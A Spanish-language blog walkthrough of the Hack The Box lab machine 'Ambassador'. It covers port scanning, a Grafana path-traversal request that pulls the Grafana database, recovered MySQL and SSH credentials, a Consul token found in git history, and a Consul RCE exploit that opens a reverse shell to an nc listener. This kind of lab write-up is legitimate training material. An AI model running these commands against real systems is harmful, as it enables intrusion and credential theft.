Hack The Box: Ambassador (Linux, Media)

Introducción

Resolvemos el Ambassador de la plataforma HTB. Máquina Linux de nivel medio donde explotaremos una vulnerabilidad de path traversal que encontramos en la versión 8.2.0 de Grafana para descargar la base de datos de Grafana. De esta base de datos, extraemos las credenciales del usuario “admin” de la base de datos MySQL.

Nos conectamos a la base de datos con las credenciales obtenidas. En unas de las tablas de esta base de datos encontramos las credenciales del usuario developer con el que nos podremos conectar a la máquina objetivo a través de SSH.

La elevación de privilegios la realizamos explotando una vulnerabilidad de RCE presente en una aplicación que encontramos dentro de un directorio .git.

Enumeración

Enumeración de puertos

Comenzamos la resolución de la máquina Ambassador realizando una enumeración rápida de los puertos que tiene abiertos el objetivo.

nmap -p- --open --min-rate 1000 -Pn -n 10.10.11.183

Cuatro puertos abiertos: 22, 80, 3000 y 3306. El siguiente paso será la enumeración profunda de los servicios descubiertos.

nmap -p22,80,3000,3306 -sVC -Pn -n 10.10.11.183
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
|   256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_  256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ambassador Development Server
|_http-generator: Hugo 0.94.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Thu, 13 Jul 2023 11:19:46 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Thu, 13 Jul 2023 11:19:13 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Thu, 13 Jul 2023 11:19:19 GMT
|_    Content-Length: 0
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 9
|   Capabilities flags: 65535
|   Some Capabilities: ODBCClient, IgnoreSigpipes, SupportsLoadDataLocal, SupportsTransactions, Support41Auth, SwitchToSSLAfterHandshake, FoundRows, DontAllowDatabaseTableColumn, InteractiveClient, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolOld, Speaks41ProtocolNew, LongPassword, SupportsCompression, ConnectWithDatabase, LongColumnFlag, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: TCx%W4kFWH,\x17\x14/P6%\x18`'
|_  Auth Plugin Name: caching_sha2_password
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.93%I=7%D=7/13%Time=64AFDDB0%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,174,"HTTP/1\.0\x20302\x20Found\r\nCache-Contro
SF:l:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nExpir
SF:es:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r\nSet-Cookie:\
SF:x20redirect_to=%2F;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Conten
SF:t-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protect
SF:ion:\x201;\x20mode=block\r\nDate:\x20Thu,\x2013\x20Jul\x202023\x2011:19
SF::13\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found<
SF:/a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(HTTPOptions,12E,"HTTP/1\.0\x20302\x20Found\r\nCac
SF:he-Control:\x20no-cache\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPra
SF:gma:\x20no-cache\r\nSet-Cookie:\x20redirect_to=%2F;\x20Path=/;\x20HttpO
SF:nly;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-O
SF:ptions:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Th
SF:u,\x2013\x20Jul\x202023\x2011:19:19\x20GMT\r\nContent-Length:\x200\r\n\
SF:r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSess
SF:ionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(FourOhFourRequest,1A1,"HTTP/1\.0\x20302\x20Found\
SF:r\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset
SF:=utf-8\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\
SF:r\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity\.txt
SF:%252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protection:\x201;
SF:\x20mode=block\r\nDate:\x20Thu,\x2013\x20Jul\x202023\x2011:19:46\x20GMT
SF:\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n\n"
SF:);
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 121.11 seconds

Servicios abiertos

  • Puerto 22 -> SSH
  • Puerto 80 -> HTTP
  • Puerto 3000 -> ppp??
  • Puerto 3306 -> MySQL

Enumeración Web

El objetivo está ejecutando un servidor Web en el puerto 80. Veamos su contenido.

Vemos un sitio Web. Vamos a navegar en busca de posibles vectores de ataque.

Encontramos un nombre de usuario y un servicio donde podemos utilizarlo. Ya no hay mucha más información que extraer.

Vamos a enumerar directorios y archivos interesantes en el sitio Web.

dirsearch -u "http://10.10.11.183/" -i 200,301 -t 20

Pero no encontramos nada interesante.

Puerto 3000

Veamos que se está ejecutando en el puerto 3000 de la máquina objetivo.

Se está ejecutando Grafana con la versión 8.2.0. Está vesión presenta la vulnerabilidad CVE-2021-43798. Vamos a buscar un exploit para tratar de aprovechar este error.

Descargamos el exploit en nuestra máquina de ataque.

searchsploit -m multiple/webapps/50581.py

Vamos a ejecutar el exploit descargado.

python 50581.py -H http://10.10.11.183:3000

Otro archivo interesante que podemos buscar es el archivo de configuración de Grafana.

Donde encontramos unas credenciales para un usuario “admin”. Vamos a descargar la base de datos de Grafana.

curl -s --path-as-is  http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

Vamos a extraer informacion de esta base de datos.

strings grafana.db| grep grafana
user: grafana
password: dontStandSoCloseToMe63221!

Puerto 3306

Con las credenciales obtenidas durante la enumeración de Grafana, vamos a tratar de conectarnos a la base de datos MySQL.

mysql -h 10.10.11.183 -u grafana -p
show databases;
use whackywidget;
show tables;
select * from users;

Obtenemos lo que parece el hash cifrado en base64 del usuario developer, que si recordamos durante la enumeración de enumeración del sitio Web, podíamos leer que este usuario se podía conectar a través de SSH.

Primero vamos a descifrar la pass.

echo YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | base64 -d

Las credenciales son:

developer:anEnglishManInNewYork027468

Explotación

Con las credenciales obtenidas, vamos a tratar de conectarnos a la máquina víctima a través de SSH.

ssh developer@10.10.11.183 

Vamos a por la primera flag de esta máquina.

Elevación de privilegios

Para buscar posibles vectores de elevación de privilegios, vamos a utilizar la herramienta “linpeas“. La descargamos y subimos a la máquina objetivo utilizando un servidor HTTP Python.

En la máquina de ataque:
python3 -m http.server 80

En la máquina objetivo:
wget 10.10.16.4/linpeas.sh
chmod +x linpeas.sh

Ejecutamos:
./linpeas.sh

Tras un momento, encontramos algo que puede ser interesante.

Vamos a ver el contenido de ese directorio.

Vemos un directorio .git. Una de las cosas que podemos hacer cuando tenemos un directorio .git es enumerar los logs. .

git config --global --add safe.directory /opt/my-app/.git
git log

Vamos a enumerar cada uno de los commits.

git show 33a53ef9a207976d5ceceddc41a199558843bf3c

Encontramos esta linea interesante

-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD

Decidimos examinar el directorio llamado “consul” y descubrimos que se trata de una aplicación de HashiCorp con ese nombre. Por lo tanto, decidimos hacer una búsqueda en Google y encontramos información sobre una vulnerabilidad de ejecución remota de código (RCE). Vamos a utilizar este exploit

Descargamos el exploit y lo transferimos a la máquina objetivo utilizando un servidor HTTP Python.

Ejecutamos de la siguiente manera:

En la máquina objetivo ejecutamos el exploit:
python3 exploit.py --rhost 127.0.0.1 --rport 8500 --lhost 10.10.16.4 --lport 1234 --token bb03b43b-1d81-d62b-24b5-39540ee469b5

En la máquina de ataque ejecutamos :
nc -lnvp 1234

Solo quedará buscar la flag root.txt para finalizar la resolución de este CTF.

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *